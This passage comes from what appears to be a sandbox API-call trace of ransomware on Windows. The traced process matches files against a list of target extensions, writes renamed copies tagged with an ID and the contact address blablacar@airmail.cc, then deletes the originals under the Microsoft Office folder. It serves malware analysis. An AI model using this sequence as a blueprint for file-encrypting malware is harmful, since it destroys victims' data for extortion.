Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.485] lstrlenW (lpString=".zip") returned 4 [0102.485] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.485] lstrlenW (lpString=".rar") returned 4 [0102.485] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.485] lstrlenW (lpString=".bz2") returned 4 [0102.485] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.485] lstrlenW (lpString=".7z") returned 3 [0102.485] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.485] lstrlenW (lpString=".dbf") returned 4 [0102.485] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.485] lstrlenW (lpString=".1cd") returned 4 [0102.485] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.485] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0409-1000-0000000FF1CE.xml") returned 104 [0102.485] lstrlenW (lpString=".jpg") returned 4 [0102.485] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.486] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.486] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53 [0102.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.486] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1261) returned 1 [0102.486] CloseHandle (hObject=0x328) returned 1 [0102.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220 [0102.486] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.487] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.487] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.487] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.487] GetLastError () returned 0x0 [0102.487] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x4ed, lpOverlapped=0x0) returned 1 [0102.974] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x4f0, lpOverlapped=0x0) returned 1 [0102.975] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0102.976] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x13e, lpOverlapped=0x0) returned 1 [0102.976] SetEndOfFile (hFile=0x36c) returned 1 [0102.976] CloseHandle (hObject=0x36c) returned 1 [0102.979] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.979] SetEndOfFile (hFile=0x328) returned 1 [0102.980] CloseHandle (hObject=0x328) returned 1 [0102.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 1 [0102.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.981] lstrlenW (lpString=".doc") returned 4 [0102.981] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.981] lstrlenW (lpString=".docx") returned 5 [0102.981] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.981] lstrlenW (lpString=".pdf") returned 4 [0102.981] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.981] lstrlenW (lpString=".xls") returned 4 [0102.981] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.981] lstrlenW (lpString=".xlsx") returned 5 [0102.982] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.982] lstrlenW (lpString=".ppt") returned 4 [0102.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.982] lstrlenW (lpString=".zip") returned 4 [0102.982] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.982] lstrlenW (lpString=".rar") returned 4 [0102.982] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.982] lstrlenW (lpString=".bz2") returned 4 [0102.982] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.982] lstrlenW (lpString=".7z") returned 3 [0102.982] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.982] lstrlenW (lpString=".dbf") returned 4 [0102.982] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.982] lstrlenW (lpString=".1cd") returned 4 [0102.982] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.982] lstrlenW (lpString=".jpg") returned 4 [0102.982] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.982] lstrlenW (lpString=".doc") returned 4 [0102.983] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.983] lstrlenW (lpString=".docx") returned 5 [0102.983] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0102.983] lstrlenW (lpString=".pdf") returned 4 [0102.983] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.983] lstrlenW (lpString=".xls") returned 4 [0102.983] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.983] lstrlenW (lpString=".xlsx") returned 5 [0102.983] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0102.983] lstrlenW (lpString=".ppt") returned 4 [0102.983] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.983] lstrlenW (lpString=".zip") returned 4 [0102.983] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.983] lstrlenW (lpString=".rar") returned 4 [0102.983] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.983] lstrlenW (lpString=".bz2") returned 4 [0102.983] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.983] lstrlenW (lpString=".7z") returned 3 [0102.983] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.983] lstrlenW (lpString=".dbf") returned 4 [0102.983] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.983] lstrlenW (lpString=".1cd") returned 4 [0102.983] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 104 [0102.984] lstrlenW (lpString=".jpg") returned 4 [0102.984] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.984] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0102.984] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0102.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.984] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=9831) returned 1 [0102.984] CloseHandle (hObject=0x328) returned 1 [0102.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0102.985] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0102.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0102.985] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.985] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0102.985] GetLastError () returned 0x0 [0102.985] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x2667, lpOverlapped=0x0) returned 1 [0102.988] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x2670, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x2670, lpOverlapped=0x0) returned 1 [0102.990] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0102.990] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x106, lpOverlapped=0x0) returned 1 [0102.991] SetEndOfFile (hFile=0x36c) returned 1 [0102.991] CloseHandle (hObject=0x36c) returned 1 [0102.995] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0102.995] SetEndOfFile (hFile=0x328) returned 1 [0102.996] CloseHandle (hObject=0x328) returned 1 [0102.996] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0102.997] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 1 [0102.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.997] lstrlenW (lpString=".doc") returned 4 [0102.997] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.997] lstrlenW (lpString=".docx") returned 5 [0102.997] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0102.997] lstrlenW (lpString=".pdf") returned 4 [0102.997] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.997] lstrlenW (lpString=".xls") returned 4 [0102.998] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.998] lstrlenW (lpString=".xlsx") returned 5 [0102.998] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0102.998] lstrlenW (lpString=".ppt") returned 4 [0102.998] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.998] lstrlenW (lpString=".zip") returned 4 [0102.998] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.998] lstrlenW (lpString=".rar") returned 4 [0102.998] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.998] lstrlenW (lpString=".bz2") returned 4 [0102.998] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.998] lstrlenW (lpString=".7z") returned 3 [0102.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.998] lstrlenW (lpString=".dbf") returned 4 [0102.998] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.998] lstrlenW (lpString=".1cd") returned 4 [0102.998] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.998] lstrlenW (lpString=".jpg") returned 4 [0102.998] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0102.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.999] lstrlenW (lpString=".doc") returned 4 [0102.999] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString=".docx") returned 5 [0102.999] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0102.999] lstrlenW (lpString=".pdf") returned 4 [0102.999] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString=".xls") returned 4 [0102.999] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString=".xlsx") returned 5 [0102.999] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0102.999] lstrlenW (lpString=".ppt") returned 4 [0102.999] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.999] lstrlenW (lpString=".zip") returned 4 [0102.999] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0102.999] lstrlenW (lpString=".rar") returned 4 [0102.999] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString=".bz2") returned 4 [0102.999] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString=".7z") returned 3 [0102.999] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0102.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0102.999] lstrlenW (lpString=".dbf") returned 4 [0102.999] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0102.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0103.000] lstrlenW (lpString=".1cd") returned 4 [0103.000] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.000] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml") returned 76 [0103.000] lstrlenW (lpString=".jpg") returned 4 [0103.000] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.000] lstrcmpiW (lpString1=".xml", lpString2=".kr") returned 1 [0103.000] lstrlenW (lpString="AuthoredExtensions.xml") returned 22 [0103.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.000] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=373) returned 1 [0103.001] CloseHandle (hObject=0x328) returned 1 [0103.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 0x220 [0103.001] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0103.001] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.001] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0103.002] GetLastError () returned 0x0 [0103.002] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x175, lpOverlapped=0x0) returned 1 [0103.003] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x180, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x180, lpOverlapped=0x0) returned 1 [0103.004] ReadFile (in: hFile=0x328, lpBuffer=0x3496020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1 [0103.004] WriteFile (in: hFile=0x36c, lpBuffer=0x3496020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3496020*, lpNumberOfBytesWritten=0x2befc94*=0x100, lpOverlapped=0x0) returned 1 [0103.006] SetEndOfFile (hFile=0x36c) returned 1 [0103.006] CloseHandle (hObject=0x36c) returned 1 [0103.007] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1 [0103.007] SetEndOfFile (hFile=0x328) returned 1 [0103.008] CloseHandle (hObject=0x328) returned 1 [0103.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0103.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\authoredextensions.xml")) returned 1 [0103.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.009] lstrlenW (lpString=".doc") returned 4 [0103.009] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.009] lstrlenW (lpString=".docx") returned 5 [0103.009] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0103.009] lstrlenW (lpString=".pdf") returned 4 [0103.009] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.009] lstrlenW (lpString=".xls") returned 4 [0103.009] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.010] lstrlenW (lpString=".xlsx") returned 5 [0103.010] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0103.010] lstrlenW (lpString=".ppt") returned 4 [0103.010] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.010] lstrlenW (lpString=".zip") returned 4 [0103.010] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.010] lstrlenW (lpString=".rar") returned 4 [0103.010] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.010] lstrlenW (lpString=".bz2") returned 4 [0103.010] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.010] lstrlenW (lpString=".7z") returned 3 [0103.010] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.010] lstrlenW (lpString=".dbf") returned 4 [0103.010] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.010] lstrlenW (lpString=".1cd") returned 4 [0103.010] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.010] lstrlenW (lpString=".jpg") returned 4 [0103.010] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.011] lstrlenW (lpString=".doc") returned 4 [0103.011] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.011] lstrlenW (lpString=".docx") returned 5 [0103.011] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0103.011] lstrlenW (lpString=".pdf") returned 4 [0103.011] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.011] lstrlenW (lpString=".xls") returned 4 [0103.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.011] lstrlenW (lpString=".xlsx") returned 5 [0103.011] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0103.011] lstrlenW (lpString=".ppt") returned 4 [0103.011] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AuthoredExtensions.xml") returned 73 [0103.011] lstrlenW (lpString=".zip") returned 4 [0103.011] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.011] lstrlenW (lpString=".rar") returned 4 [0103.011] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.011] lstrlenW (lpString=".bz2") returned 4 [0103.011] lstrcmpiW (lpString1=".bz2", 